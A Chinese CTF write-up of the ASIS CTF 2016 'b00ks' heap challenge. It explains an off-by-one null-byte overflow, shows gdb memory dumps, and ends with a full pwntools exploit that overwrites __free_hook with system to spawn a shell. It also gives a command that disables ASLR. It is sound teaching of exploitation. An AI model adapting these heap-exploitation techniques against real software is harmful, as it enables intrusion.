asis-ctf-2016 pwn 之 b00ks

off-by-one 原理

严格来说,off-by-one漏洞是一种特殊的溢出漏洞,指程序向缓冲区中写入时,写入的字节数超过了缓冲区本身的大小,并且只越界了一个字节。这种漏洞的产生往往与边界验证不严或字符串操作有关,当然也有可能写入的size正好就只多了一个字节:

  • 使用循环语句向缓冲区中写入数据时,循环的次数设置错误导致多写入一个字节
  • 字符串操作不合适,比如忽略了字符串末尾的\x00

一般而言,单字节溢出很难利用。但因为Linux中的堆管理机制ptmalloc验证的松散型,基于Linux堆的off-by-one漏洞利用起来并不复杂,而且威力强大。需要说明的是,off-by-one是可以基于各种缓冲区的,如栈、bss段等。但堆上的off-by-one在CTF中比较常见,下面以2016年asis CTF中的b00ks为实例进行分析。

题目分析

题目是一个常见的菜单式程序,功能是一个图书管理系统,提供了创建、删除、编辑、打印图书等功能:

1
2
3
4
5
6
7
8
9
10
Welcome to ASISCTF book library
Enter author name:

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
>

题目是一个64位程序,其启用的保护措施如下:

1
2
3
4
5
6
7
8
9
$ file ./b00ks 
./b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

在创建book时,name和description在堆上分配。首先使用malloc分配name buffer,大小不超过32;之后,分配description buffer, 大小自定义;最后分配book结构体,用于保存book的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// allocate name
printf("\nEnter book name size: ", *(_QWORD *)&v1);
__isoc99_scanf("%d", &v1);
if ( v1 >= 0 )
{
printf("Enter book name (Max 32 chars): ", *(_QWORD *)&v1);
ptr = malloc(v1);
if ( ptr )
{
if ( read_input(ptr, (unsigned int)(v1 - 1)) )
// ...

// allocate description
printf("\nEnter book description size: ", *(_QWORD *)&v1);
__isoc99_scanf("%d", &v1);
if ( v1 >= 0 )
{
v5 = malloc(v1);
if ( v5 )
{
printf("Enter book description: ", *(_QWORD *)&v1);
if ( read_input(v5, (unsigned int)(v1 - 1)) )
// ...

// allocate book struct
v3 = malloc(0x20uLL);
if ( v3 )
{
*((_DWORD *)v3 + 6) = v1;
*((_QWORD *)global_book_struct_array + v2) = v3;
*((_QWORD *)v3 + 2) = v5;
*((_QWORD *)v3 + 1) = ptr;
*(_DWORD *)v3 = ++book_counts;
return 0LL;
}

其中,通过分析,book struct的定义如下:

1
2
3
4
5
6
struct book_struct{
int book_id; // offset:0
char* book_name; // offset:8 malloc(size)
char* book_description; // offset:16 malloc(size)
int book_description_size; // offset:24
}

漏洞分析

程序中用于读取输入的read_input()函数(函数名字已重命名)存在off-by-one漏洞,当输入数据的长度正好为a2时,会向buf中越界写入一个字节\x00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall read_input(void *a1, int a2)
{
// ...
if ( a2 > 0 )
{
buf = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *(_BYTE *)buf == 10 )
break;
buf = (char *)buf + 1;
if ( i == a2 )
break;
}
*(_BYTE *)buf = 0;
result = 0LL;
}
// ...
}

信息泄露漏洞

由于author_name_ptrglobal_book_struct_array之间正好相差32个字节,当输入的author_name长度为32时,会向author_name_ptr中越界写入一个字节\x00。之后,在创建book_struct时,会将其地址保存在global_book_struct_array中,覆盖之前的字符串截断符\x00。因此,通过打印author_name可以实现信息信泄露。

1
2
3
4
5
6
.data:0000000000202008                                         ; .data:off_202008o
.data:0000000000202010 global_book_struct_array dq offset unk_202060
.data:0000000000202010 ; DATA XREF: sub_B24:loc_B38o
.data:0000000000202010 ; delete_book:loc_C1Bo ...
.data:0000000000202018 author_name_ptr dq offset unk_202040 ; DATA XREF: input_author_name+15o
.data:0000000000202018 ; print_book+CAo

off-by-one漏洞

通过修改author_name可以向author_name_ptr中越界写入一个字节\x00,这样会覆盖global_book_struct_array中保存的第一个book_struct的地址。

漏洞利用

主要思想如下:创建2个book,通过单字节溢出,使得book1_struct指针指向book1_description中;然后在book1_description中伪造一个book1_struct,使得其中的book1_description_ptr指向book2_description_ptr;通过先后修改book1_descriptionbook2_description,从而实现任意地址写任意内容的功能。

为了方便调试,临时禁用了系统的地址随机化功能:echo 0 > /proc/sys/kernel/randomize_va_space

创建book

book1的description的大小要尽量大一点(如140),保证当单字节溢出后book1_struct指针落在book1的description中,从而对其可控,为后续伪造book1_struct打下基础。book2的description的大小越大越好(如0x21000),这样会通过mmap()函数去分配堆空间,而该堆地址与libc的基址相关,这样通过泄露该堆地址可以计算出libc的基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gdb-peda$ x/10xg 0x555555554000+0x202040
0x555555756040: 0x6161616161616161 (<== author_name) 0x6161616161616161
0x555555756050: 0x6161616161616161 0x6161616161616161
0x555555756060: 0x0000555555758160 (<== book1_struct_ptr) 0x0000555555758190 (<== book2_struct_ptr)
gdb-peda$ x/60xg 0x0000555555758010
0x555555758010: 0x0000000000000000 0x00000000000000a1 (<== heap: book1_name)
0x555555758020: 0x0000315f6b6f6f62 0x0000000000000000
... ...
0x5555557580b0: 0x0000000000000000 0x00000000000000a1 (<== heap: book1_description)
0x5555557580c0: 0x6f62207473726966 0x7461657263206b6f
... ...
0x555555758100: 0x0000000000000000 0x0000000000000000
... ...
0x555555758150: 0x0000000000000000 0x0000000000000031 (<== heap: book1_struct)
0x555555758160: 0x0000000000000001 0x0000555555758020
0x555555758170: 0x00005555557580c0 0x000000000000008c
0x555555758180: 0x0000000000000000 0x0000000000000031 (<== heap: book2_struct)
0x555555758190: 0x0000000000000002 0x00007ffff7fd2010
0x5555557581a0: 0x00007ffff7fb0010 0x0000000000021000
0x5555557581b0: 0x0000000000000000 0x0000000000020e51

global_book_strcut_array(0x555555756060)中可以看到,当发生null byte溢出时,book1_struct的指针变为0x555555758100,正好落在book1_description的范围内。

伪造book1_struct

为了使得伪造的book1_description_ptr指向book2_description_ptr,需要先知道book2_struct的地址,可以通过打印author_name从而泄露得到该地址。

之后通过修改book1_description,伪造一个book1_struct。可以看到book1_description_ptr已经指向了book2_name_ptr。(通过+8就能指向book2_description_ptr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ x/60xg 0x0000555555758010
0x5555557580b0: 0x0000000000000000 0x00000000000000a1
... ...
0x5555557580f0: 0x6161616161616161 0x6161616161616161
0x555555758100: 0x0000000000000001 0x0000555555758198
0x555555758110: 0x0000555555758198 (<== 指向book2的name_ptr) 0x000000000000ffff
... ...
0x555555758150: 0x0000000000000000 0x0000000000000031
0x555555758160: 0x0000000000000001 0x0000555555758020
0x555555758170: 0x00005555557580c0 0x000000000000008c
0x555555758180: 0x0000000000000000 0x0000000000000031
0x555555758190: 0x0000000000000002 0x00007ffff7fd2010
0x5555557581a0: 0x00007ffff7fb0010 0x0000000000021000
0x5555557581b0: 0x0000000000000000 0x0000000000020e51

空字节覆盖

修改author_name,覆盖global_book_struct_array中保存的第一个book_struct 指针。之后通过打印book可以泄露得到book2_name_ptr, 从而得到该地址与libc基址之间的偏移。

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ vmmap 
Start End Perm Name
0x0000555555554000 0x0000555555556000 r-xp /.../b00ks
... ...
0x0000555555757000 0x0000555555779000 rw-p [heap]
0x00007ffff7a0d000 (<== 计算与该地址的偏移) 0x00007ffff7bcd000 r-xp /.../libc.so.6
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /.../libc.so.6
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /.../libc.so.6
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /.../libc.so.6
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fb0000 0x00007ffff7ff7000 rw-p mapped

获取shell

通过先后修改book1_descriptionbook2_description,可以实现任意地址写任意内容的功能。由于该程序启用了FULL RELRO保护措施,无法对GOT进行改写,但是可以改写__free_hook__malloc_hook

结合前面泄露的book2_name_ptr和计算得到的偏移,可以计算出libc的基址,进一步可得到__free_hooksystem函数运行时的地址,以及libc中字符串”/bin/sh”的地址。之后将__free_hook指向的内容修改为system的地址,在调用free函数时,由于__free_hook里面的内容不为NULL,从而执行指向的指令。

完整的漏洞利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python

from pwn import *

context(log_level='debug', os='linux')

def create_book(target, name_size, book_name, desc_size, book_desc):
target.recv()
target.sendline('1')
target.sendlineafter('Enter book name size: ', str(name_size))
target.sendlineafter('Enter book name (Max 32 chars): ', book_name)
target.sendlineafter('Enter book description size: ', str(desc_size))
target.sendlineafter('Enter book description: ', book_desc)

def delete_book(target, book_id):
target.recv()
target.sendline('2')
target.sendlineafter('Enter the book id you want to delete: ', str(book_id))

def edit_book(target, book_id, book_desc):
target.recv()
target.sendline('3')
target.sendlineafter('Enter the book id you want to edit: ', str(book_id))
target.sendlineafter('Enter new book description: ', book_desc)

def print_book(target):
target.recvuntil('>')
target.sendline('4')

def change_author_name(target, name):
target.recv()
target.sendline('5')
target.sendlineafter('Enter author name: ', name)

def input_author_name(target, name):
target.sendlineafter('Enter author name: ', name)

DEBUG = 0
LOCAL = 1

if LOCAL:
target = process('./b00ks')
else:
target = remote('127.0.0.1', 5678)

libc = ELF('./libc.so.6')
# used for debug
image_base = 0x555555554000

if DEBUG:
pwnlib.gdb.attach(target, 'b *%d\nc\n' % (image_base+0x1245))

input_author_name(target, 'a'*32)
create_book(target, 140 ,'book_1', 140, 'first book created')

# leak boo1_struct addr
print_book(target)
target.recvuntil('a'*32)
temp = target.recvuntil('\x0a')
book1_struct_addr = u64(temp[:-1].ljust(8, '\x00'))
book2_struct_addr = book1_struct_addr + 0x30

create_book(target, 0x21000, 'book_2', 0x21000, 'second book create')

# fake book1_struct
payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) * 2 + p64(0xffff)
edit_book(target, 1, payload)

change_author_name(target, 'a'*32)
# leak book2_name ptr
print_book(target)

target.recvuntil('Name: ')
temp = target.recvuntil('\x0a')
book2_name_ptr = u64(temp[:-1].ljust(8, '\x00'))

# find in debug: mmap_addr - libcbase
offset = 0x7ffff7fd2010 - 0x7ffff7a0d000
libcbase = book2_name_ptr - offset

free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase

payload = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload)

payload = p64(system)
edit_book(target, 2, payload)

delete_book(target, 2)
target.interactive()

相关链接

附件下载

b00ks